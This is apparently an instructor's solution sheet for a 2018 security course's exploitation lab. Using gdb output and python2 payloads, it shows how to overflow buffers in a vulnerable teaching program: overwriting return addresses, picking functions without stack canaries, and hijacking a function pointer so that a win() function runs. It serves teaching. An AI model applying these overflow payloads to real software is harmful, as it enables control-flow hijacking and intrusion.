3. Solutions

ASI36

2018

1 Tweety Pie (twpie.c)

For all the questions, the objective is to print "Success". Basically this means redirecting the control-flow to call the win() function, since it is impossible to guess the secret – it is randomized at each run.

In my binary, it is located at 0x80487c9. You can find where yours is with gdb with the command p win.

1.1 Question 1

The easiest way (in the sense that it requires no specific value for n) is to let f pass through basic_check. In this case we only need overwrite the return address of basic_check with the one of win.

The only thing is to check how long the input string needs to be to exploit strcpy inside basic_check. disas basic_check inside gdb shows the following initial code. The stack frame is 0x14 + 0xc long (i.e., 32 bytes).

1	08048626	<+0>:	push	%ebp
2	08048627	<+1>:	mov	%esp,%ebp
3	08048629	<+3>:	push	%ebx
4	0804862a	<+ 4 >:	sub	\$0x14,%esp
5	0804862d	<+ 7 >:	call	0x8048560 <x86.get_pc_thunk.bx></x86.get_pc_thunk.bx>
6	08048632	<+12>:	add	\$0x19ce,%ebx
7	08048638	<+18>:	sub	<pre>\$0xc,%esp</pre>

Also if you put a breakpoint at **basic_check** and step until after **strcpy**, you will see the return address pointing to **f** text region.

With the following run:

1 r 1 "AAAABBBBBCCCCDDD"

The command x/8xw \$esp shows the structure of the stack. Here, a little bit after the string we just entered, we find the value 0x080487c4

1	Oxffffcec0:	0x41414141	0x42424242	0x43434343	0x00444444
2	Oxffffced0:	0xf7f88c00	0x0804a000	0xffffcf08	0x080487c4

Doing disas 0x080487c4 produces the disassembly for f. We see that this is the address right after call *eax (i.e., the call to the function pointer check).

So we need to overwrite 0x080487c4 with the address of win. We thus need 28 bytes of padding plus the 4 bytes for the address. This is done with:

```
1| run 1 $(python2 -c 'print "AAAABBBBBCCCCCDDDDEEEEFFFFGGGGG\xc9\x87\x04\x08"')
```

1.2 Question 2

Now basic_check is protected but we know basic canaries do not protect functions with very small buffers. Indeed basic_check now includes the following code:

```
1
0804868b
<+21>:
mov
%eax,-0x2c(%ebp)

2
0804868e
<+24>:
mov
%gs:0x14,%eax

3
08048694
<+30>:
mov
%eax,-0xc(%ebp)

4
08048697
<+33>:
xor
%eax,%eax
```

whereas easy_check does not.

So we will apply the same reasoning as for Question 1.1, except this time n needs to be 42.

1 r 1 AAAABBBB

produces the following stack frame structure in easy_check

1 0xffffcec0:	Oxffffd1f7	0x00000000	0x4141410a	0x42424241
2 Oxffffced0:	0x08040042	0xffffcf60	0xffffcf08	0x08048858

where 0x08048858 is the return address. Thus we need to add 11 more bytes plus the return address to get "Success!", like so.

```
1| run 42 $(python2 -c 'print "AAAABBBBBCCCDDDDEEEE\xc9\x87\x04\x08"')
```

1.3 Question 3

Now all functions are protected against stack smashing. Exploits for Question 1.1 & 1.2 will not work anymore.

Let us turn to the last function reachable from f : indirect_check We need n to be 0xffffffff i.e., -1 to go there.

In the strcpy in this function, we see that if we can overwrite the function pointer *f with something of our choosing, i.e., the address of win, then f will be executed.

After having inserted a break point at indirect_check and running until its execution 1|r -1 AAAABBBB

We can see where the fields are located relatively to each other:

```
1 p cck.f ; (int (**)(char *)) 0xffffcea8
```

```
2 p.cck.s ; (char (*)[16]) 0xffffce98
```

We can see that **f** is 16 bytes above **s**. That means, in order to rewrite **f** we need 16 bytes of junk padding the the address of **win**. In my binary, **win** is at **0x80488e2**.

```
Therefore the input:
```

1 r -1 \$(python2 -c 'print "AAAABBBBBCCCCDDDD\xe2\x88\x04\x08"')

is enough to redirect the execution to win.

1.4 Question 4

Of course it works, we have not even executed anything in any of the other problems :-)

2 ROP (roppable.c)

2.1 Question 2

The answer can be found at the following url:

http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html There is a twist to finding magic1. You can use the fact that $x \oplus y = z \Rightarrow x = z \oplus y$ to find it.